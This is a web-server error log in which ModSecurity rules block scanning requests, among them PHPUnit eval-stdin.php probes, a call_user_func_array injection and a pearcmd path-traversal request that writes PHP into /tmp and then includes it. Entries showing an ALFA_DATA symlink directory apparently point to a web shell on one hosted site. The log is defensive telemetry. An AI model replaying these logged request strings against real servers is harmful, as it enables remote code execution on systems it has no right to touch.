[Sat Oct 24 09:16:56.913176 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvyBdOhHN-18IxgZKrZgAAAAY"]
[Sat Oct 24 09:16:56.913679 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvyBdOhHN-18IxgZKrZgAAAAY"]
[Sat Oct 24 09:16:56.914688 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvyBdOhHN-18IxgZKrZgAAAAY"]
[Sat Oct 24 09:16:56.992752 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvyBdOhHN-18IxgZKrZwAAAAY"]
[Sat Oct 24 09:16:56.993198 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvyBdOhHN-18IxgZKrZwAAAAY"]
[Sat Oct 24 09:16:56.993974 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvyBdOhHN-18IxgZKrZwAAAAY"]
[Sat Oct 24 09:16:57.069159 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvyRdOhHN-18IxgZKraAAAAAY"]
[Sat Oct 24 09:16:57.069586 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvyRdOhHN-18IxgZKraAAAAAY"]
[Sat Oct 24 09:16:57.070570 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvyRdOhHN-18IxgZKraAAAAAY"]
[Sat Oct 24 09:16:57.143784 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvyRdOhHN-18IxgZKraQAAAAY"]
[Sat Oct 24 09:16:57.144275 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvyRdOhHN-18IxgZKraQAAAAY"]
[Sat Oct 24 09:16:57.145137 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvyRdOhHN-18IxgZKraQAAAAY"]
[Sat Oct 24 09:16:57.247076 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvyRdOhHN-18IxgZKragAAAAY"]
[Sat Oct 24 09:16:57.247500 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvyRdOhHN-18IxgZKragAAAAY"]
[Sat Oct 24 09:16:57.248423 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvyRdOhHN-18IxgZKragAAAAY"]
[Sat Oct 24 09:16:57.377063 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Matched phrase "call_user_func" at ARGS:function. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "145"] [id "933150"] [rev "1"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: call_user_func found within ARGS:function: call_user_func_array"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "atyvyRdOhHN-18IxgZKrawAAAAY"]
[Sat Oct 24 09:16:57.378014 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "atyvyRdOhHN-18IxgZKrawAAAAY"]
[Sat Oct 24 09:16:57.378951 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): PHP Injection Attack: High-Risk PHP Function Name Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvyRdOhHN-18IxgZKrawAAAAY"]
[Sat Oct 24 09:16:57.549892 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Matched phrase "call_user_func" at ARGS:function. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "145"] [id "933150"] [rev "1"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: call_user_func found within ARGS:function: call_user_func_array"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/public/index.php"] [unique_id "atyvyRdOhHN-18IxgZKrbAAAAAY"]
[Sat Oct 24 09:16:57.550657 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/public/index.php"] [unique_id "atyvyRdOhHN-18IxgZKrbAAAAAY"]
[Sat Oct 24 09:16:57.551519 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): PHP Injection Attack: High-Risk PHP Function Name Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvyRdOhHN-18IxgZKrbAAAAAY"]
[Sat Oct 24 09:16:57.707606 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\\x22hi\\x22));?>+/tmp/index1.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "atyvyRdOhHN-18IxgZKrbQAAAAY"]
[Sat Oct 24 09:16:57.719687 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\\x22hi\\x22));?>+/tmp/index1.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "atyvyRdOhHN-18IxgZKrbQAAAAY"]
[Sat Oct 24 09:16:57.719747 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd& config-create /&/<?echo(md5(\\x22hi\\x22));?> /tmp/index1.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "atyvyRdOhHN-18IxgZKrbQAAAAY"]
[Sat Oct 24 09:16:57.719791 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd& config-create/&/<?echo(md5(hi)) ?>/tmp/index1.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "atyvyRdOhHN-18IxgZKrbQAAAAY"]
[Sat Oct 24 09:16:57.735033 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Pattern match "(?:<\\\\?(?!xml\\\\s)|<\\\\?php|\\\\[(?:/|\\\\\\\\)?php\\\\])" at ARGS_NAMES:/<?echo(md5("hi"));?> /tmp/index1.php. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "41"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <? found within ARGS_NAMES:/<?echo(md5(\\x22hi\\x22));?> /tmp/index1.php: /<?echo(md5(\\x22hi\\x22));?> /tmp/index1.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "atyvyRdOhHN-18IxgZKrbQAAAAY"]
[Sat Oct 24 09:16:57.791559 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 25)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "atyvyRdOhHN-18IxgZKrbQAAAAY"]
[Sat Oct 24 09:16:57.792621 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 25 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=5,HTTP=0,SESS=0): PHP Injection Attack: PHP Open Tag Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvyRdOhHN-18IxgZKrbQAAAAY"]
[Sat Oct 24 09:16:57.980345 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /index.php?lang=../../../../../../../../tmp/index1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "atyvyRdOhHN-18IxgZKrbgAAAAY"]
[Sat Oct 24 09:16:57.980429 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /index.php?lang=../../../../../../../../tmp/index1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "atyvyRdOhHN-18IxgZKrbgAAAAY"]
[Sat Oct 24 09:16:57.980463 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /index.php?lang=../../../../../../../../tmp/index1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "atyvyRdOhHN-18IxgZKrbgAAAAY"]
[Sat Oct 24 09:16:57.980978 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "atyvyRdOhHN-18IxgZKrbgAAAAY"]
[Sat Oct 24 09:16:57.981779 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvyRdOhHN-18IxgZKrbgAAAAY"]
[Sat Oct 24 09:16:58.214959 2026] [ssl:error] [pid 2609012:tid 2609012] (5)Input/output error: [client 100.29.63.24:37851] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:17:01.839369 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 185.191.171.10:32480] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:17:02.325498 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 18.215.77.19:39973] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:17:06.335889 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 100.29.164.178:1467] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:17:10.174987 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 184.73.195.18:40269] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:17:18.799947 2026] [core:error] [pid 2635684:tid 2635684] (13)Permission denied: [client 185.191.171.15:41580] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-8k/store_user
[Sat Oct 24 09:17:22.196410 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 54.198.33.233:16094] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/device:05/physical_node/resource0
[Sat Oct 24 09:17:26.340133 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 23.20.178.124:4459] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:17:30.152080 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 34.225.24.180:21699] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:17:34.165981 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 52.207.47.227:28246] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:17:42.158579 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.204.253.129:5144] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:17:52.138598 2026] [authz_core:error] [pid 2627273:tid 2627273] [client 195.15.212.124:41918] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 09:17:54.174504 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.217.171.106:1567] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:17:57.595707 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 85.208.96.207:25418] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/scripts/removeacct
[Sat Oct 24 09:18:07.598689 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 185.191.171.4:64390] AH02013: coalesce failed to read from data bucket
